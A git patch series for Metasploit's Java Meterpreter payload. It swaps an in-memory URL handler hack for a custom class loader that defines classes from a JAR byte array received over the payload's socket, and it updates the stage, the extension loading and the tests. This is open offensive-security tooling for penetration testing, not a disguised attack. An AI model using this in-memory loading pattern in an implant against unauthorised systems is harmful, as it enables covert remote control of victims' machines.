From b158f2c4e4a6fd25393c029a935cf457cb9262dc Mon Sep 17 00:00:00 2001
From: Ashley Donaldson <smashery@gmail.com>
Date: Fri, 8 Sep 2023 16:35:13 +1000
Subject: [PATCH 1/5] Initial work to replace URL hack - manually parse a JAR
 file

---
 .../meterpreter/JarFileClassLoader.java       |  52 +++++++++
 .../MemoryBufferURLConnection.java            | 108 ------------------
 .../MemoryBufferURLStreamHandler.java         |  27 -----
 .../java/javapayload/stage/Meterpreter.java   |  12 +-
 .../javapayload/stage/MeterpreterTest.java    |  15 ---
 .../src/test/java/metasploit/PayloadTest.java |   8 +-
 .../metasploit/meterpreter/Meterpreter.java   |   4 +-
 7 files changed, 67 insertions(+), 159 deletions(-)
 create mode 100755 java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
 delete mode 100644 java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java
 delete mode 100644 java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java

diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
new file mode 100755
index 00000000..a49a9ac7
--- /dev/null
+++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
@@ -0,0 +1,52 @@
+package com.metasploit.meterpreter;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.util.HashMap;
+import java.util.zip.ZipInputStream;
+import java.util.zip.ZipEntry;
+
+public class JarFileClassLoader extends ClassLoader {
+
+    HashMap<String, byte[]> classBytes = new HashMap();
+
+    public void addJarFile(byte[] jarFile) throws java.io.IOException {
+        ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile));
+        ZipEntry zipEntry;
+        while ((zipEntry = zipReader.getNextEntry()) != null) {
+            String name = zipEntry.getName();
+            String classSuffix = ".class";
+            if (name.endsWith(classSuffix)) {
+                ByteArrayOutputStream classStream = new ByteArrayOutputStream();
+                final byte[] classfile = new byte[10000];
+
+                int result;
+                while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) {
+                    classStream.write(classfile, 0, result);
+                }
+
+                String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length());
+                classBytes.put(packagedName, classStream.toByteArray());
+            }
+        }
+    }
+
+    @Override
+    public Class findClass(String name) throws ClassNotFoundException {
+        byte[] classfile = classBytes.getOrDefault(name, null);
+        if (classfile == null) {
+            throw new ClassNotFoundException();
+        }
+        return defineClass(name, classfile, 0, classfile.length, null);
+    }
+
+    @Override
+    public Class loadClass(String name) throws ClassNotFoundException {
+        try {
+            return super.loadClass(name);
+        } catch (ClassNotFoundException e) {
+            return findClass(name);
+        }
+    }
+}
+
diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java
deleted file mode 100644
index f9a60e27..00000000
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package com.metasploit.meterpreter;
-
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.lang.reflect.Field;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * An {@link URLConnection} for an URL that is stored completely in memory.
- *
- * @author mihi
- */
-public class MemoryBufferURLConnection extends URLConnection {
-
-    private static List files;
-
-    static {
-        // tweak the cache of already loaded protocol handlers via reflection
-        try {
-            Field fld;
-            try {
-                fld = URL.class.getDeclaredField("handlers");
-            } catch (NoSuchFieldException ex) {
-                try {
-                    // GNU Classpath (libgcj) calls this field differently
-                    fld = URL.class.getDeclaredField("ph_cache");
-                } catch (NoSuchFieldException ex2) {
-                    // throw the original exception
-                    throw ex;
-                }
-            }
-            fld.setAccessible(true);
-            Map handlers = (Map) fld.get(null);
-            // Note that although this is a static initializer, it can happen
-            // that two threads are entering this spot at the same time: When
-            // there is more than one classloader context (e. g. in a servlet
-            // container with Spawn=0) and more than one of them is loading
-            // a copy of this class at the same time. Work around this by
-            // letting all of them use the same URL stream handler object.
-            synchronized (handlers) {
-                // do not use the "real" class name here as the same class
-                // loaded in different classloader contexts is not the same
-                // one for Java -> ClassCastException
-                Object /*MemoryBufferURLStreamHandler*/ handler;
-
-                if (handlers.containsKey("metasploitmembuff")) {
-                    handler = handlers.get("metasploitmembuff");
-                } else {
-                    handler = new MemoryBufferURLStreamHandler();
-                    handlers.put("metasploitmembuff", handler);
-                }
-
-                // for the same reason, use reflection to obtain the files List
-                files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
-            }
-        } catch (Exception ex) {
-            throw new RuntimeException(ex.toString());
-        }
-    }
-
-    /**
-     * Create a new URL from a byte array and its content type.
-     */
-    public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
-        synchronized (files) {
-            files.add(data);
-            return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
-        }
-    }
-
-    private final byte[] data;
-    private final String contentType;
-
-    protected MemoryBufferURLConnection(URL url) {
-        super(url);
-        String file = url.getFile();
-        int pos = file.indexOf('/');
-        synchronized (files) {
-            data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
-        }
-        contentType = file.substring(pos + 1);
-    }
-
-    @Override
-    public void connect() throws IOException {
-    }
-
-    @Override
-    public InputStream getInputStream() throws IOException {
-        return new ByteArrayInputStream(data);
-    }
-
-    @Override
-    public int getContentLength() {
-        return data.length;
-    }
-
-    @Override
-    public String getContentType() {
-        return contentType;
-    }
-}
diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java
deleted file mode 100644
index b5a6192d..00000000
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.metasploit.meterpreter;
-
-import java.io.IOException;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.URLStreamHandler;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
- *
- * @author mihi
- */
-public class MemoryBufferURLStreamHandler extends URLStreamHandler {
-
-    private List files = new ArrayList();
-
-    @Override
-    protected URLConnection openConnection(URL u) throws IOException {
-        return new MemoryBufferURLConnection(u);
-    }
-
-    public List getFiles() {
-        return files;
-    }
-}
diff --git a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
index ef10e2c1..f877eb41 100644
--- a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
+++ b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
@@ -5,20 +5,24 @@ import java.io.OutputStream;
 import java.net.URL;
 import java.net.URLClassLoader;
 
-import com.metasploit.meterpreter.MemoryBufferURLConnection;
+import metasploit.Payload;
+
+import com.metasploit.meterpreter.JarFileClassLoader;
 
 /**
  * Meterpreter Java Payload Proxy
  */
-public class Meterpreter implements Stage {
+public class Meterpreter implements Stage  {
 
     public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
         boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect");
         int coreLen = in.readInt();
         byte[] core = new byte[coreLen];
         in.readFully(core);
-        URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
-        new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
+        JarFileClassLoader loader = new JarFileClassLoader();
+        loader.addJarFile(core);
+        Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter");
+        meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
         in.close();
         out.close();
     }
diff --git a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java
index eb7c55a0..a5198727 100644
--- a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java
+++ b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java
@@ -13,25 +13,10 @@ import java.util.zip.ZipEntry;
 import junit.framework.Assert;
 import junit.framework.TestCase;
 
-import com.metasploit.meterpreter.MemoryBufferURLConnection;
 import com.metasploit.meterpreter.MeterpDummy;
 
 public class MeterpreterTest extends TestCase {
 
-    public void testMemoryBufferURLConnection() throws Exception {
-        final String CONTENT_TYPE = "application/x-unit-test-example";
-        byte[] randomData = new byte[4096];
-        new Random().nextBytes(randomData);
-        URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
-        URLConnection uc = url.openConnection();
-        uc.connect();
-        Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
-        Assert.assertEquals(4096, uc.getContentLength());
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        StreamForwarder.forward(uc.getInputStream(), out);
-        Assert.assertEquals(new String(randomData, "ISO-8859-1"), out.toString("ISO-8859-1"));
-    }
-
     public void testMeterpreterStage() throws Exception {
         // build dummy Meterpreter stage
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
diff --git a/java/javapayload/src/test/java/metasploit/PayloadTest.java b/java/javapayload/src/test/java/metasploit/PayloadTest.java
index 809f21e3..8621018a 100644
--- a/java/javapayload/src/test/java/metasploit/PayloadTest.java
+++ b/java/javapayload/src/test/java/metasploit/PayloadTest.java
@@ -39,7 +39,7 @@ import javax.crypto.spec.SecretKeySpec;
 import junit.framework.Assert;
 import junit.framework.TestCase;
 
-import com.metasploit.meterpreter.MemoryBufferURLConnection;
+import com.metasploit.meterpreter.JarFileClassLoader;
 
 public class PayloadTest extends TestCase {
 
@@ -159,7 +159,7 @@ public class PayloadTest extends TestCase {
         return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]});
     }
 
-    private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
+    private JarFileClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos);
         byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
@@ -197,7 +197,7 @@ public class PayloadTest extends TestCase {
         jos.close();
         byte[] payloadJar = baos.toByteArray();
         final byte[] classToDefine = instrumentedPayloadClass;
-        return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
+        JarFileClassLoader jfcl = new JarFileClassLoader() {
             {
                 if (classToDefine != null) {
                     defineClass(null, classToDefine, 0, classToDefine.length);
@@ -227,6 +227,8 @@ public class PayloadTest extends TestCase {
                 return super.getResource(name);
             }
         };
+        jfcl.addJarFile(payloadJar);
+        return jfcl;
     }
 
     private void handleSocketCommunication(Socket socket) throws Exception {
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
index 023bb373..5dd47c0a 100644
--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
@@ -292,8 +292,8 @@ public class Meterpreter {
     public Integer[] loadExtension(byte[] data) throws Exception {
         ClassLoader classLoader = getClass().getClassLoader();
         if (loadExtensions) {
-            URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
-            classLoader = new URLClassLoader(new URL[]{url}, classLoader);
+            JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader;
+            jarLoader.addJarFile(data);
         }
         JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
         String loaderName = jis.getManifest().getMainAttributes().getValue("Extension-Loader");

From 0a71bcd5ea896ca8d583ef8a27c3fac3148fa5fa Mon Sep 17 00:00:00 2001
From: Ashley Donaldson <smashery@gmail.com>
Date: Mon, 11 Sep 2023 10:05:33 +1000
Subject: [PATCH 2/5] Support resource files in in-memory jar file

---
 .../meterpreter/JarFileClassLoader.java       | 34 ++++++++++++-------
 1 file changed, 21 insertions(+), 13 deletions(-)

diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
index a49a9ac7..df26691c 100755
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
+++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
@@ -1,6 +1,7 @@
 package com.metasploit.meterpreter;
 
 import java.io.ByteArrayInputStream;
+import java.io.InputStream;
 import java.io.ByteArrayOutputStream;
 import java.util.HashMap;
 import java.util.zip.ZipInputStream;
@@ -8,32 +9,39 @@ import java.util.zip.ZipEntry;
 
 public class JarFileClassLoader extends ClassLoader {
 
-    HashMap<String, byte[]> classBytes = new HashMap();
+    HashMap<String, byte[]> resourceBytes = new HashMap();
 
     public void addJarFile(byte[] jarFile) throws java.io.IOException {
         ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile));
         ZipEntry zipEntry;
         while ((zipEntry = zipReader.getNextEntry()) != null) {
             String name = zipEntry.getName();
-            String classSuffix = ".class";
-            if (name.endsWith(classSuffix)) {
-                ByteArrayOutputStream classStream = new ByteArrayOutputStream();
-                final byte[] classfile = new byte[10000];
+            String packagedName = name;
+            ByteArrayOutputStream resourceStream = new ByteArrayOutputStream();
+            final byte[] bytes = new byte[10000];
 
-                int result;
-                while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) {
-                    classStream.write(classfile, 0, result);
-                }
-
-                String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length());
-                classBytes.put(packagedName, classStream.toByteArray());
+            int result;
+            while ((result = zipReader.read(bytes, 0, bytes.length)) != -1) {
+                resourceStream.write(bytes, 0, result);
             }
+
+            resourceBytes.put(packagedName, resourceStream.toByteArray());
         }
     }
 
+    @Override
+    public InputStream getResourceAsStream(String name) {
+        byte[] resource = resourceBytes.getOrDefault(name, null);
+        if (resource == null) {
+            return null;
+        }
+        return new ByteArrayInputStream(resource);
+    }
+
     @Override
     public Class findClass(String name) throws ClassNotFoundException {
-        byte[] classfile = classBytes.getOrDefault(name, null);
+        String packagedName = name.replace(".","/") + ".class";
+        byte[] classfile = resourceBytes.getOrDefault(packagedName, null);
         if (classfile == null) {
             throw new ClassNotFoundException();
         }

From dba2cb92638578e1ce6e3bb1481afbe96e32b898 Mon Sep 17 00:00:00 2001
From: Ashley Donaldson <smashery@gmail.com>
Date: Mon, 11 Sep 2023 12:47:03 +1000
Subject: [PATCH 3/5] Bridge the classloaders using self-reference

---
 .../java/com/metasploit/meterpreter/JarFileClassLoader.java | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
index df26691c..c4577174 100755
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
+++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
@@ -50,6 +50,12 @@ public class JarFileClassLoader extends ClassLoader {
 
     @Override
     public Class loadClass(String name) throws ClassNotFoundException {
+        // The dynamic loading requires knowledge of this classloader, but
+        // the default classloader doesn't know about it; so we bridge that
+        // gap by returning our own class when requested.
+        if (name.equals(getClass().getName())) {
+            return getClass();
+        }
         try {
             return super.loadClass(name);
         } catch (ClassNotFoundException e) {

From 7cee3f76e1c0e3881c542637707dd5d15034ce67 Mon Sep 17 00:00:00 2001
From: Ashley Donaldson <smashery@gmail.com>
Date: Mon, 11 Sep 2023 15:13:21 +1000
Subject: [PATCH 4/5] Compatibilise with older Javas

---
 .../com/metasploit/meterpreter/JarFileClassLoader.java    | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
index c4577174..3edcbd15 100755
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
+++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
@@ -31,20 +31,20 @@ public class JarFileClassLoader extends ClassLoader {
 
     @Override
     public InputStream getResourceAsStream(String name) {
-        byte[] resource = resourceBytes.getOrDefault(name, null);
-        if (resource == null) {
+        if (!resourceBytes.containsKey(name)) {
             return null;
         }
+        byte[] resource = (byte[])resourceBytes.get(name);
         return new ByteArrayInputStream(resource);
     }
 
     @Override
     public Class findClass(String name) throws ClassNotFoundException {
         String packagedName = name.replace(".","/") + ".class";
-        byte[] classfile = resourceBytes.getOrDefault(packagedName, null);
-        if (classfile == null) {
+        if (!resourceBytes.containsKey(packagedName)) {
             throw new ClassNotFoundException();
         }
+        byte[] classfile = (byte[])resourceBytes.get(packagedName);
         return defineClass(name, classfile, 0, classfile.length, null);
     }
 

From ab44891b799ef88398bbffe35f2a0761e7ffa4ec Mon Sep 17 00:00:00 2001
From: Ashley Donaldson <smashery@gmail.com>
Date: Mon, 25 Sep 2023 10:38:50 +1000
Subject: [PATCH 5/5] Neater use of classloader, from review

---
 .../meterpreter/JarFileClassLoader.java          | 16 +++++++++-------
 .../main/java/javapayload/stage/Meterpreter.java |  2 +-
 2 files changed, 10 insertions(+), 8 deletions(-)

diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
index 3edcbd15..642cac00 100755
--- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
+++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java
@@ -11,14 +11,22 @@ public class JarFileClassLoader extends ClassLoader {
 
     HashMap<String, byte[]> resourceBytes = new HashMap();
 
+    public JarFileClassLoader(ClassLoader parent) {
+        super(parent);
+    }
+
+    public JarFileClassLoader() {
+        super();
+    }
+
     public void addJarFile(byte[] jarFile) throws java.io.IOException {
         ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile));
         ZipEntry zipEntry;
+        final byte[] bytes = new byte[10000];
         while ((zipEntry = zipReader.getNextEntry()) != null) {
             String name = zipEntry.getName();
             String packagedName = name;
             ByteArrayOutputStream resourceStream = new ByteArrayOutputStream();
-            final byte[] bytes = new byte[10000];
 
             int result;
             while ((result = zipReader.read(bytes, 0, bytes.length)) != -1) {
@@ -50,12 +58,6 @@ public class JarFileClassLoader extends ClassLoader {
 
     @Override
     public Class loadClass(String name) throws ClassNotFoundException {
-        // The dynamic loading requires knowledge of this classloader, but
-        // the default classloader doesn't know about it; so we bridge that
-        // gap by returning our own class when requested.
-        if (name.equals(getClass().getName())) {
-            return getClass();
-        }
         try {
             return super.loadClass(name);
         } catch (ClassNotFoundException e) {
diff --git a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
index f877eb41..6b220e26 100644
--- a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
+++ b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java
@@ -19,7 +19,7 @@ public class Meterpreter implements Stage  {
         int coreLen = in.readInt();
         byte[] core = new byte[coreLen];
         in.readFully(core);
-        JarFileClassLoader loader = new JarFileClassLoader();
+        JarFileClassLoader loader = new JarFileClassLoader(getClass().getClassLoader());
         loader.addJarFile(core);
         Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter");
         meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));